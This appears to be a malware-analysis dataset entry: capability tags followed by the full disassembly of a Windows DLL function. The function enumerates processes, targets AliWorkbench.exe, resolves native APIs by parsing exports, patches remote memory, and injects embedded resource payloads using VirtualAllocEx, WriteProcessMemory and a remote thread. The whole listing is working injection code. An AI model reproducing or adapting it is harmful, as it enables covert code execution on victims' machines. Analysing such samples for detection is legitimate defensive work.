Function at 0x100010e0
Capabilities:
Allocate or change rwx memory
Enumerate processes
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x6d8
mov eax, dword [0x10021004]
xor eax, esp
mov dword [esp + 0x6d4], eax
push esi
mov esi, ecx
mov dword [esp + 0x1c], 0
push edi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x48], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
call fcn.10001dd0
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [esp + 0x18], edi
test edi, edi
jne 0x10001153
pop edi
pop esi
mov ecx, dword [esp + 0x6d4]
xor ecx, esp
call fcn.10003a4f
mov esp, ebp
pop ebp
ret
push 0
push 2
mov dword [esp + 0xa0], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x100011d6
lea eax, [esp + 0x98]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x100011cf
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax + eax]
mov eax, dword [esp + 0x1c]
cmp dword [esp + 0xa0], eax
je 0x100011ae
lea eax, [esp + 0x98]
push eax
push esi
call edi
test eax, eax
jne 0x10001190
jmp 0x100011cb
push 0x104
lea eax, [esp + 0xc0]
push eax
lea eax, [esp + 0x4d8]
push eax
call fcn.1000aa04
add esp, 0xc
mov edi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1001f470
push str.kernel32
mov dword [esp + 0x4c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001201
lea ecx, [esp + 0x44]
push ecx
push edi
call eax
xorps xmm0, xmm0
mov dword [esp + 0x80], 0
lea eax, [esp + 0x60]
movaps xmmword [esp + 0x60], xmm0
push eax
movaps xmmword [esp + 0x74], xmm0
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ax, word [esp + 0x60]
cmp ax, 9
je 0x1000123f
cmp ax, 0xc
je 0x1000123f
cmp ax, 6
je 0x1000123f
xor eax, eax
jmp 0x10001244
mov eax, 1
cmp dword [esp + 0x44], 0
jne 0x10001818
test eax, eax
je 0x10001818
push 0x30
lea eax, [esp + 0x64]
mov dword [esp + 0x50], 0
push 0
push eax
mov edi, 0x10000
call fcn.10004fa0
xorps xmm0, xmm0
add esp, 0xc
movlpd qword [esp + 0x50], xmm0
mov eax, dword [esp + 0x54]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x30], eax
nop
mov esi, dword [0x10022440]
mov ecx, dword [0x10022444]
test esi, esi
jne 0x100012f2
test ecx, ecx
jne 0x100012f2
mov eax, dword [0x10022428]
mov edx, dword [0x1002242c]
test eax, eax
jne 0x100012c7
test edx, edx
jne 0x100012c7
call fcn.10002c40
mov dword [0x10022428], eax
mov dword [0x1002242c], edx
push edx
push eax
mov ecx, str.NtQueryVirtualMemory
call fcn.100035a0
mov esi, eax
add esp, 8
mov dword [0x10022440], esi
mov ecx, edx
mov dword [0x10022444], ecx
test esi, esi
jne 0x100012f2
test ecx, ecx
je 0x10001492
mov eax, dword [esp + 0x18]
xorps xmm0, xmm0
push 0
cdq
mov dword [esp + 0x48], eax
mov eax, edx
lea edx, [esp + 0x5c]
movlpd qword [esp + 0x5c], xmm0
push edx
push 0
push 0x30
push 0
lea edx, [esp + 0x74]
mov dword [esp + 0x38], eax
push edx
push 0
push 0
push dword [esp + 0x6c]
push edi
push eax
push dword [esp + 0x70]
push 6
push ecx
push esi
call fcn.10002ac0
add esp, 0x3c
test eax, eax
jne 0x1000133e
test edx, edx
je 0x10001348
push edx
push eax
call fcn.10003530
add esp, 8
cmp dword [esp + 0x58], 0x30
jne 0x10001492
cmp dword [esp + 0x80], 0x1000
jne 0x10001479
cmp dword [esp + 0x7c], 0
ja 0x10001379
cmp dword [esp + 0x78], 0x1000
jb 0x10001479
mov edi, dword [esp + 0x68]
mov esi, dword [esp + 0x6c]
cmp dword [esp + 0x30], edi
jne 0x10001391
cmp dword [esp + 0x34], esi
je 0x10001479
cmp dword [esp + 0x84], 4
jne 0x10001479
mov eax, dword [0x10022438]
mov edx, dword [0x1002243c]
test eax, eax
jne 0x100013f7
test edx, edx
jne 0x100013f7
mov eax, dword [0x10022428]
mov edx, dword [0x1002242c]
test eax, eax
jne 0x100013d5
test edx, edx
jne 0x100013d5
call fcn.10002c40
mov dword [0x10022428], eax
mov dword [0x1002242c], edx
push edx
push eax
mov ecx, str.NtReadVirtualMemory
call fcn.100035a0
add esp, 8
mov dword [0x10022438], eax
mov dword [0x1002243c], edx
test eax, eax
jne 0x100013f7
test edx, edx
je 0x1000144e
mov ecx, dword [esp + 0x28]
push 0
mov dword [esp + 0x54], ecx
lea ecx, [esp + 0x54]
push ecx
push 0
push 0x40
push 0
lea ecx, [esp + 0xac]
mov dword [esp + 0x68], 0
push ecx
push esi
push edi
push dword [esp + 0x44]
push dword [esp + 0x68]
push 5
push edx
push eax
call fcn.10002ac0
add esp, 0x34
test eax, eax
jne 0x10001444
test edx, edx
jne 0x10001444
mov eax, dword [esp + 0x50]
mov dword [esp + 0x28], eax
jmp 0x1000144e
push edx
push eax
call fcn.10003530
add esp, 8
push str..deadbeef
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10001a22
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x6c]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov edi, dword [esp + 0x60]
add edi, dword [esp + 0x78]
mov eax, dword [esp + 0x64]
adc eax, dword [esp + 0x7c]
mov dword [esp + 0x4c], eax
jmp 0x10001290
push str.AliWorkbench.exe
lea eax, [esp + 0x4d4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x10001635
push str.SystemRoot
call fcn.1000a9ee
add esp, 4
push eax
push str._sSysNativekernel32.dll
lea eax, [esp + 0x2d0]
push 0x104
push eax
call fcn.10001010
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x2e0]
call fcn.10002380
mov ecx, dword [esp + 0x34]
add esp, 0x18
mov edi, eax
mov edx, str.kernel32.dll
mov dword [esp + 0x20], edi
call fcn.10001e90
mov esi, eax
mov ecx, esi
or ecx, edx
je 0x10001bad
test edi, edi
je 0x10001bc0
mov eax, dword [esp + 0x14]
xor ecx, ecx
add eax, edi
mov dword [esp + 0x34], 0
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x48]
add eax, esi
mov dword [esp + 0x44], eax
adc ecx, edx
mov dword [esp + 0x30], ecx
call fcn.10002c40
mov esi, edx
mov edi, eax
push esi
push edi
mov ecx, str.NtSuspendProcess
call fcn.100035a0
push esi
push edi
mov ecx, str.NtResumeProcess
mov dword [esp + 0x5c], eax
mov dword [esp + 0x34], edx
call fcn.100035a0
add esp, 0x10
mov dword [esp + 0x50], eax
mov dword [esp + 0x58], edx
push dword [esp + 0x1c]
push 0
push 0x838
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x10001bb3
cdq
mov ecx, eax
mov eax, edx
push eax
push ecx
push 1
push dword [esp + 0x30]
mov dword [esp + 0xa0], ecx
push dword [esp + 0x5c]
mov dword [esp + 0x4c], eax
call fcn.10002ac0
mov ecx, dword [esp + 0x28]
add esp, 0x14
mov edi, eax
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
mov esi, edx
push eax
push 0x40
push dword [esp + 0x38]
push dword [esp + 0x50]
call fcn.100037b0
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0x44]
mov ecx, dword [esp + 0x24]
push eax
push 0xa
push dword [esp + 0x48]
push dword [esp + 0x60]
call fcn.10003900
mov ecx, dword [esp + 0x34]
lea eax, [esp + 0x68]
push eax
push dword [esp + 0x6c]
push dword [esp + 0x58]
push dword [esp + 0x70]
call fcn.100037b0
add esp, 0x30
or edi, esi
jne 0x1000162b
push dword [esp + 0x38]
push dword [esp + 0x94]
push 1
push dword [esp + 0x64]
push dword [esp + 0x60]
call fcn.10002ac0
add esp, 0x14
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1001f494
push 0x6d
push dword [0x100223b0]
xor edi, edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x100016ac
push esi
push dword [0x100223b0]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
jne 0x10001667
xor esi, esi
jmp 0x100016ac
push esi
push dword [0x100223b0]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x1000167e
xor esi, esi
xor edi, edi
jmp 0x100016ac
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esp + 0x50], eax
test eax, eax
jne 0x10001693
xor esi, esi
xor edi, edi
jmp 0x100016ac
push edi
call fcn.10003b84
add esp, 4
mov esi, eax
push edi
push dword [esp + 0x54]
push esi
call fcn.10006530
add esp, 0xc
cmp byte [0x100223b4], 0
je 0x100016c0
push edi
mov edx, esi
call fcn.10002990
add esp, 4
test esi, esi
je 0x10001ba0
lea eax, [esp + 0x4c]
mov dword [esp + 0x34], 0
push eax
lea eax, [esp + 0x38]
mov dword [esp + 0x50], 0
push eax
push 0
push 0
push 0
push 0
mov edx, edi
mov ecx, esi
call fcn.10002130
add esp, 0x18
test eax, eax
je 0x10001ba0
push dword [esp + 0x1c]
mov eax, dword [esp + 0x50]
push 0
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x3c]
push 0x1fffff
mov dword [esp + 0x5c], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10001733
mov dword [esp + 0x10], 0
jmp 0x10001ba0
mov edx, dword [esp + 0x44]
sub esp, 0x10
mov ecx, edi
call fcn.10003660
mov ecx, eax
mov dword [esp + 0x58], eax
add esp, 0x10
mov dword [esp + 0x30], edx
or ecx, edx
jne 0x1000175b
mov dword [esp + 0x10], ecx
jmp 0x10001ba0
call fcn.10002c40
push edx
push eax
mov ecx, str.RtlCreateUserThread
call fcn.100035a0
mov ecx, eax
add esp, 8
mov dword [esp + 0x90], ecx
mov eax, edx
mov dword [esp + 0x58], eax
test ecx, ecx
jne 0x1000178f
test eax, eax
jne 0x1000178f
mov dword [esp + 0x10], edx
jmp 0x10001ba0
mov edx, dword [esp + 0x50]
mov ecx, edi
push 0
push dword [esp + 0x48]
push dword [esp + 0x38]
push dword [esp + 0x54]
call fcn.10003900
add esp, 0x10
test eax, eax
jne 0x100017b8
mov dword [esp + 0x10], eax
jmp 0x10001ba0
lea eax, [esp + 0x60]
xorps xmm0, xmm0
cdq
push edx
push eax
lea eax, [esp + 0x40]
movlpd qword [esp + 0x40], xmm0
cdq
push edx
push eax
push 0
push 0
push dword [esp + 0x48]
mov eax, edi
push dword [esp + 0x64]
cdq
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push eax
push 0xa
push dword [esp + 0xac]
push dword [esp + 0xe8]
call fcn.10002ac0
add esp, 0x5c
xor eax, eax
cmp dword [esp + 0x38], 0xffffffff
jmp 0x10001b99
push 0x100
xor esi, esi
mov dword [esp + 0x7c], 0
xorps xmm0, xmm0
lea eax, [esp + 0x9c]
push esi
push eax
movaps xmmword [esp + 0x6c], xmm0
movq qword [esp + 0x7c], xmm0
call fcn.10004fa0
add esp, 0xc
lea eax, [esp + 0x60]
push 0x1c
push eax
push 0x10000
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
call edi
cmp eax, 0x1c
jne 0x100018db
cmp dword [esp + 0x70], 0x1000
jne 0x100018c0
cmp dword [esp + 0x6c], 0x1000
jb 0x100018c0
mov eax, dword [esp + 0x64]
cmp esi, eax
je 0x100018c0
cmp dword [esp + 0x74], 4
jne 0x100018c0
lea ecx, [esp + 0x50]
push ecx
push 0x40
lea ecx, [esp + 0xa0]
push ecx
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push str..deadbeef
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10001a22
mov esi, dword [esp + 0x64]
mov eax, dword [esp + 0x60]
lea ecx, [esp + 0x60]
add eax, dword [esp + 0x6c]
push 0x1c
push ecx
push eax
push dword [esp + 0x24]
call edi
cmp eax, 0x1c
je 0x10001864
push str.AliWorkbench.exe
lea eax, [esp + 0x4d4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x10001a02
push str.SystemRoot
call fcn.1000a9ee
add esp, 4
push eax
push str._sSysWOW64kernel32.dll
lea eax, [esp + 0x2d0]
push 0x104
push eax
call fcn.10001010
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x2e0]
call fcn.10002630
mov esi, dword [esp + 0x34]
add esp, 0x18
mov edi, eax
mov edx, str.kernel32.dll
mov ecx, esi
mov dword [esp + 0x20], edi
call fcn.10002060
mov edx, eax
test edx, edx
je 0x10001bad
test edi, edi
je 0x10001bc0
mov eax, dword [esp + 0x14]
add eax, edi
mov dword [esp + 0x50], 0
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x48]
push esi
push 0
add eax, edx
push 0x838
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [esp + 0x48], esi
cmp esi, 0xffffffff
je 0x10001bb7
push esi
call dword [0x100223e8]
mov edi, eax
mov dword [esp + 0x44], 0
lea eax, [esp + 0x44]
push eax
push 0x40
push 0x10
push dword [esp + 0x3c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call esi
lea eax, [esp + 0x50]
push eax
push 0xa
push dword [esp + 0x60]
push dword [esp + 0x3c]
push dword [esp + 0x58]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x44]
push eax
push dword [esp + 0x48]
push 0x10
push dword [esp + 0x3c]
push dword [esp + 0x58]
call esi
test edi, edi
jne 0x100019f8
push dword [esp + 0x48]
call dword [0x100223d8]
push dword [esp + 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1001f494
push 0x6e
push dword [0x100223b0]
xor edi, edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x10001a45
jmp 0x10001aa1
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x6d4]
xor ecx, esp
call fcn.10003a4f
mov esp, ebp
pop ebp
ret
push esi
push dword [0x100223b0]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
jne 0x10001a5c
xor esi, esi
jmp 0x10001aa1
push esi
push dword [0x100223b0]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10001a73
xor esi, esi
xor edi, edi
jmp 0x10001aa1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esp + 0x50], eax
test eax, eax
jne 0x10001a88
xor esi, esi
xor edi, edi
jmp 0x10001aa1
push edi
call fcn.10003b84
add esp, 4
mov esi, eax
push edi
push dword [esp + 0x54]
push esi
call fcn.10006530
add esp, 0xc
cmp byte [0x100223b4], 0
je 0x10001ab5
push edi
mov edx, esi
call fcn.10002990
add esp, 4
test esi, esi
je 0x10001ba0
lea eax, [esp + 0x4c]
mov dword [esp + 0x34], 0
push eax
lea eax, [esp + 0x38]
mov dword [esp + 0x50], 0
push eax
push 0
push 0
push 0
push 0
mov edx, edi
mov ecx, esi
call fcn.10002130
add esp, 0x18
test eax, eax
je 0x10001ba0
push dword [esp + 0x1c]
mov eax, dword [esp + 0x50]
push 0
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x3c]
push 0x1fffff
mov dword [esp + 0x5c], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10001b28
mov dword [esp + 0x10], 0
jmp 0x10001ba0
push 0x40
push 0x1000
push dword [esp + 0x4c]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x58], eax
test eax, eax
jne 0x10001b4a
mov dword [esp + 0x10], eax
jmp 0x10001ba0
push 0
push dword [esp + 0x48]
push dword [esp + 0x58]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10001b66
mov dword [esp + 0x10], eax
jmp 0x10001ba0
lea eax, [esp + 0x90]
mov dword [esp + 0x30], 0
push eax
lea eax, [esp + 0x34]
push eax
push 0
push dword [esp + 0x64]
push 0
push 0
push 0
push 0
push 0
push edi
call dword [0x100223e0]
xor eax, eax
cmp dword [esp + 0x30], 0xffffffff
setne al
mov dword [esp + 0x10], eax
push esi
call fcn.10003a5d
mov edi, dword [esp + 0x24]
add esp, 4
test edi, edi
je 0x10001bc0
jmp 0x10001bb7
mov edi, dword [esp + 0x20]
push edi
call fcn.10003a5d
add esp, 4
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x6dc]
mov eax, dword [esp + 0x10]
pop edi
pop esi
xor ecx, esp
call fcn.10003a4f
mov esp, ebp
pop ebp
ret